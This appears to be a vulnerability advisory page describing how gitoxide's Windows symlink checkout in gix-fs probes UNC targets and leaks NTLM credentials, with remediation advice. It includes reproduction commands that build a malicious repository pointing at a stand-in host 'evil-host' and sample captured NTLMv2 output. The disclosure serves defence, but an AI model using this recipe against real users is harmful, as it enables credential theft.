
Cloud Vulnerability DB
A community-led vulnerabilities database
When gitoxide checks out a repository on Windows with symbolic link support enabled, it probes the on-disk type of each symlink target before creating the link. For a symlink whose target is a UNC path (for example \\attacker-host\share), this type probe calls std::fs::metadata(), which resolves the UNC path and causes Windows to open an SMB connection to the attacker-controlled host. Windows then automatically performs NTLM authentication, disclosing the victim's username, domain, and NTLMv2 response hash to the attacker. The attacker only needs to publish a crafted repository and have the victim clone or check it out; no further interaction is required. The flaw is in gix_fs::symlink::create in the gix-fs crate.
During checkout, symlink entries are deferred and then created one at a time. On Windows, before creating the link, the code must decide whether to create a file symlink or a directory symlink, so it probes the target's type on disk. It does this by joining the target onto the link's parent directory and calling is_dir() (which calls std::fs::metadata()) on the result. The security invariant that is violated is that an untrusted, attacker-controlled symlink target should never cause the checkout process to resolve or contact an external, attacker-chosen filesystem location. The probe performs no validation of the target: it does not reject targets that begin with a path separator (which Windows can interpret as a UNC share or NT namespace path), and Path::join on Windows discards the intended worktree base when the joined argument carries a UNC prefix. As a result, the probe operates directly on the attacker's UNC path, and metadata() follows it off the local machine.
// gix-fs/src/symlink.rs (gix-fs 0.24.0), Windows implementation
pub fn create(original: &Path, link: &Path) -> io::Result<()> {
use std::os::windows::fs::{symlink_dir, symlink_file};
let orig_abs = link.parent().expect("dir for link").join(original);
if orig_abs.is_dir() { // std::fs::metadata() follows the UNC path
symlink_dir(original, link)
} else {
symlink_file(original, link)
}
}An attacker who can get a victim to clone or check out a crafted repository can capture the victim's Windows NTLM credentials. The prerequisites are: the victim runs on Windows with symbolic link creation enabled (Developer Mode or administrator), has network connectivity to the attacker's SMB endpoint, and performs a checkout of the attacker's repository. No gitoxide configuration beyond default checkout behavior is required, and no authentication to the attacker's repository is needed. The demonstrated capability is disclosure of the victim's username, domain, and NTLMv2 response hash. Such captured material is commonly used for offline password cracking and for NTLM relay attacks against other services; those downstream consequences are plausible follow-on uses of the disclosed credentials rather than behaviors demonstrated here.
Setup requirements:
- An attacker-controlled SMB listener that records NTLM authentication
(for example Responder or Impacket's smbserver) reachable at a host the
victim can route to, e.g. evil-host.
- A victim on Windows with symlink creation enabled (Developer Mode or admin)
that checks out the repository using a gix-based tool.Reproduction steps:
# Build the malicious repository (run anywhere git is available).
git init malicious && cd malicious
# Create a symlink whose target is an attacker UNC path. The stored blob
# content is the literal target string; forward slashes are converted to
# backslashes during Windows checkout, producing \\evil-host\share.
target='//evil-host/share'
blob=$(printf '%s' "$target" | git hash-object -w --stdin)
git update-index --add --cacheinfo 120000,"$blob",a
git commit -m "add symlink"
# On the attacker SMB listener during the victim's checkout:
[SMB] NTLMv2-SSP Client : <victim-ip>
[SMB] NTLMv2-SSP Username : VICTIM-DOMAIN\victim
[SMB] NTLMv2-SSP Hash : victim::VICTIM-DOMAIN:1122334455667788:<ntlmv2-response>...gix-based tool on Windows.//evil-host/share is accepted verbatim.gix-worktree-state/src/checkout/chunk.rs:136) and later created in gix-worktree-state/src/checkout/function.rs:145; each entry reaches entry::checkout, where the target is converted with gix_path::to_native_path_on_windows (turning / into \, yielding \\evil-host\share) and passed to gix_fs::symlink::create at gix-worktree-state/src/checkout/entry.rs:163-165.gix_fs::symlink::create (gix-fs/src/symlink.rs) performs no check for separator-prefixed or UNC targets before probing.create joins the target onto the link's parent and calls is_dir(); because Path::join discards the base for a UNC-prefixed argument on Windows, std::fs::metadata() is invoked directly on \\evil-host\share, which Windows resolves by opening an SMB session.The relevant protection is the type-probe code path itself, which in the latest published release has no guard against separator-prefixed or UNC targets. In the gix-fs-v0.24.0 tag (the latest crates.io release), git show gix-fs-v0.24.0:gix-fs/src/symlink.rs shows the Windows create calling is_dir() unconditionally on the joined target with no validation. A later, still unreleased change adds a check that treats targets beginning with / or \ as files without probing them; that change is not present in any published version and therefore does not protect current users. Moreover, that unreleased check inspects only the literal first byte of the direct target string, so an indirect chain (one entry pointing at a local name, a second entry pointing that local name at a UNC path) still reaches a metadata() probe that follows the chain to the UNC target. The strongest refutation attempts (that the fix for CVE-2026-44471 / GHSA-f89h-2fjh-2r9q covers this path, that path conversion sanitizes UNC input, that Path::join cannot yield a UNC path, or that the deferred-symlink and collision-handling wrappers add validation) were each checked against the v0.24.0 source and all failed: that earlier fix touches only gix-fs/src/stack.rs (Stack prefix-reuse), a different file and root cause, and none of the intervening layers validate the target.
rustgix-fs<= 0.24.00.24.0 (crates.io)0.24.0, published 2026-10-08), whose published source contains the unguarded Windows probe. No fixed release exists; the mitigating change is only on the development branch and has not been published. The lower bound of introduction could not be established, so the range is expressed as an open upper-bounded range. The consuming crates gix-worktree-state and gix are affected on Windows because they pull in this gix-fs code path during checkout./ or \) as a file and skip the on-disk probe entirely, so an untrusted target can never cause std::fs::metadata() to resolve a UNC or NT namespace path. The check must operate on the original target spelling (before Path::join), and it must also account for indirect cases where a target resolves through a previously created local symlink to an external location, for example by avoiding any target-following type probe on not-yet-trusted targets (defer or create as a file link and retry) rather than only inspecting the literal first byte of the direct target string. Enforcing this in gix_fs::symlink::create (and the delayed-creation path) covers both the direct UNC target and the chained variant. As an interim mitigation, Windows users can check out untrusted repositories only with symlink support disabled, which routes symlink entries to plain file writes and avoids the probe; this does not protect workflows that require symlink checkout.Reported by zx.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."